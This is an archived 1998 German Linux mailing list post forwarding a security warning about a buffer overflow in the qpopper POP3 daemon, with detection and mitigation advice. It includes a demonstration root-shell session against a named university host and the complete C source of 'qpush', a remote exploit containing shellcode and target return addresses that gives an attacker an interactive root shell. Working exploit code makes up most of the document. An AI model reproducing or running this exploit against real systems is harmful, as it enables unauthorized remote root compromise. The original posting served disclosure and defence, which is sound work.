linux-l: POP3-Sicherheitsloch

Wolfgang Metze metze at trionet.de
Mi Jul 1 09:36:29 CEST 1998


Hallo allerseits,

hier mal ein Schreck in der Morgenstunde ...

die untere eMail stammt aus der SuSE-Mailingliste, der Bug
ist _kein_ Scherz und die Sourcen funktionieren (selbst getestet) !

Wer also den beschriebenen POP3-Daemonen einsetzt, der sollte
dringend etwas unternehmen! Bei SuSE ist dies der Standard-Daemon,
die RedHat nimmt normalerweise gleich den ipop3d, wie es beim
Rest aussieht, kann ich jetzt nicht sagen, ich habe nur SuSE.

Hinweis fuer die Besitzer einer neueren SuSE-Versionen: hier ist
ein ipop3d gleich mit drin (Paket POP) - man muss nur die
"/etc/inetd.conf" anpassen und den inetd neu anwerfen.
(Irgendwie ist der angebene FTP-Server an meiner Firewall abgeblitzt,
dem traue ich nicht so ganz - ist eigentlich auch genau der richtige
Weg um gleich noch ein Trojanisches Pferd in Umlauf zu bringen ...).

Irgendwie verhaelt sich der ipop3d zwar etwas anders als der qpop3d,
aber fuers erste waeren mir ein paar Schreie von einigen Usern lieber
als Schreie von allen Usern (wenn man den POP3-Service ganz abklemmt)
oder dieses riesige Scheunentor ...

Und nun wuensche ich allen noch eine guten und ruhigen Tag ...

MfG
Thomas Kone

-------------------- cut here --------------------------
---------- Forwarded message ----------
Date: Tue, 30 Jun 1998 13:36:10 +0200 (CEST)
From: Noel Koethe <noel at wipol.uni-bonn.de>
To: suse-linux at suse.com
Subject: FW: qpush: qpopper exploit source



Hallo,

mal zur Info:

-----FW: <000901bda358$8df90a40$bc9cdc83 at cygnus.tabu.uni-bonn.de>-----

EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!!
EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!!
EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!!
EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!!

SICHERHEITSLUECKE IN QPOPPER
============================

qpopper ist ein POP3 Daemon, der in JEDER Suse Linux Distribution
installiert und aktiviert ist!!!

Auch auf vielen anderen Systemen wird er eingesetzt

Es ist moeglich innerhalb von 5 Sekunden von jedem Rechner der Welt aus
eine
root-Shell auf dem betroffenen Rechner zu oeffnen.


BETROFFENE SYSTEME:
===================

JEDER SUSE LINUX RECHNER mit aktiviertem qpopper (STANDARDEINSTELLUNG IN

SUSE LINUX!!!)

JEDER ANDERE RECHNER mit qpopper


FESTSTELLEN, OB RECHNER BETROFFEN:
==================================

Ist folgender Eintrag in der /etc/inetd.conf vorhanden, so ist der
Rechner
betroffen:

pop3   stream  tcp     nowait  root    /usr/sbin/popper -s

(Lautet das Programm ipop3 anstatt popper, so ist der Rechner NICHT
betroffen)


LOESUNG:
========

Ersteinmal deaktivieren des qpoppers in /etc/inetd.conf und danach kill
-HUP
auf die Prozess ID vom inetd. Danach installieren eines sicheren POP3
Daemons. (zum Beispiel ipop3d)

Die Sourcen dazu liegen auf ftp.tabu.uni-bonn.de in /pub/patches/unix

ftp://ftp.tabu.uni-bonn.de/pub/patches/unix


Hier ein Beispiel-Angriff von szczepan at bse.tabu.uni-bonn.de auf
biblio3.physik.uni-bonn.de
(Dort habe ich den popper nach dem "Angriff" deaktiviert)

================================================================

szczepan at bse:/home/szczepan > ./a.out biblio3.physik.uni-bonn.de
äîÿ¿äîÿ¿äîÿ¿äîÿ¿äîÿ¿??".
whoami
root

hostname
biblio3

logout

================================================================

Ich empfehle die sofortige Deaktivierung aller qpopper Daemon Prozesse
in
/etc/inetd.conf und einen Neustart des inetd!


Torge Szczepanek - ICQ 3067708
_
Tutor CIP-Pool Physics - Admin SWH Tannenbusch
_
http://cygnus.ml.org/_ mailto:cygnus at iname.com



-----Original Message-----
From: Bugtraq List [mailto:BUGTRAQ at NETSPACE.ORG] On Behalf Of Herbert
Rosmanith
Sent: Montag, 29. Juni 1998 02:21
To: BUGTRAQ at NETSPACE.ORG
Subject: qpush: qpopper exploit source


dear listmembers,

this program demonstrates how to exploit popper.
it took me quite a time that vsprintf() in pop_msg
translates all upper-case to lower-case, which will
result in corruptions of assembly code containing
these codes, and interpretes hexcodes like 0x0c, 0x0b
as line seperator (LF?), which seems to stop the copying
of the shell-code too early.

note that, after "qpush" has successfully executed
/bin/sh, you will not see any prompt. type "id" to
see who you are, like that:

$ ./qpush technix.oeh
äîÿ¿äîÿ¿äîÿ¿äîÿ¿äîÿ¿
id
uid=0(root) gid=0(root)


use at your own risk.

regards,
h.rosmanith
herp at wildsau.idv.uni-linz.ac.at

--------------------------- >8 --------------------------------

/* qpush: qualcom popper buffer overflow exploit (pop_msg)
 * Mon Jun 29 01:26:06 GMT 1998 - herp
 *                                Herbert Rosmanith
 *                                herp at wildsau.idv.uni-linz.ac.at
 */

#include        <stdio.h>
#include        <sys/time.h>
#include        <sys/types.h>
#include        <netinet/in.h>
#include        <netdb.h>
#include        <signal.h>
#include        <unistd.h>
#include        <errno.h>

long addrlist[]={
        0xbfffeee4,             /*2.2*/
        0xbfffec2c              /*2.41beta1*/
};

char shellcode[] =
    "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
    "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
    "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
    "\xff\xff/bin/sh.........";

void die(char *s) {
        if (errno) perror(s);
        else fprintf(stderr,"%s\n",s);
        exit(-1);
}

void usage() {
        printf("qpush [-index] <hostname>\n"
               " -0 QPOP Version 2.2             (default)\n"
               " -1 QPOP Version 2.41beta1\n");
        exit(0);
}

int resolv(char *host,long *ipaddr) {
        if (isdigit(host[0])) {
                *ipaddr=inet_addr(host);
                if (*ipaddr==-1) return -1;
        }
        else {
                struct hostent *hp;
                if ((hp=gethostbyname(host))==NULL) {
                        fprintf(stderr,"tc: %s: unknown host\n");
                        exit(-1);
                }
                *ipaddr=*(unsigned long *)hp->h_addr;
        }
        return 0;
}

int connect_to(char *hostname,short port) {
struct sockaddr_in s_in;
int s;

        s=socket(PF_INET,SOCK_STREAM,0);
        if (s==-1) die("socket");

        if (resolv(hostname,(long *)&s_in.sin_addr.s_addr)==-1)
                die("unknown host");
        s_in.sin_family=AF_INET;
        s_in.sin_port=htons(port);

        if (connect(s,(struct sockaddr *)&s_in,sizeof(s_in))==-1)
                die("connect");

        return s;
}

void socket_read(int s,char *buf,int len) {
int i;
        switch(i=read(s,buf,len)) {
        case -1: die("unexpected EOF");
        case  0: die("EOF");
        default:
                buf[i]=0;
                //printf("%s",buf);
                break;
        }
}

void terminal(int s) {
char buf[1024];
fd_set rfds;
fd_set fds;
int i;

        for (i=0;i<NSIG;i++) signal(i,SIG_IGN);
        FD_ZERO(&fds);
        FD_SET(0,&fds);
        FD_SET(s,&fds);
        for (;;) {
                memcpy(&rfds,&fds,sizeof(fds));
                i=select(s+1,&rfds,NULL,NULL,NULL);
                if (i==-1) die("select");
                if (i==0) die("session closed");
                if (FD_ISSET(s,&rfds)) {
                        if ((i=read(s,buf,sizeof(buf)))<1)
                                die("session closed");
                        write(1,buf,i);
                }
                if (FD_ISSET(0,&rfds)) {
                        if ((i=read(0,buf,sizeof(buf)))<1)
                                die("session closed");
                        write(s,buf,i);
                }
        }
}

void main(int argc,char *argv[]) {
char buf[1024+128];
int s,i,ix;

        if (argc>=2 && argv[1][0]=='-') {
                ix=atoi(&argv[1][1]);
                argc--;
                argv++;
        }
        else ix=0;

        if (argc!=2 || ix>sizeof(addrlist)/sizeof(long))
                usage();

        s=connect_to(argv[1],110);      /* WKS POP3 */
        socket_read(s,buf,sizeof(buf));
        memset(buf,0x90,sizeof(buf));
        for (i=981;i<981+10*4;i+=4)
                memcpy(&buf[i],&addrlist[ix],4);
        memcpy(&buf[941],shellcode,strlen(shellcode));
        buf[sizeof(buf)-3]=0x0d;
        buf[sizeof(buf)-2]=0x0a;
        buf[sizeof(buf)-1]=0x00;
        write(s,buf,sizeof(buf));
        socket_read(s,buf,sizeof(buf));
        terminal(s);
}

--------------End of forwarded message-------------------------







Mehr Informationen über die Mailingliste linux-l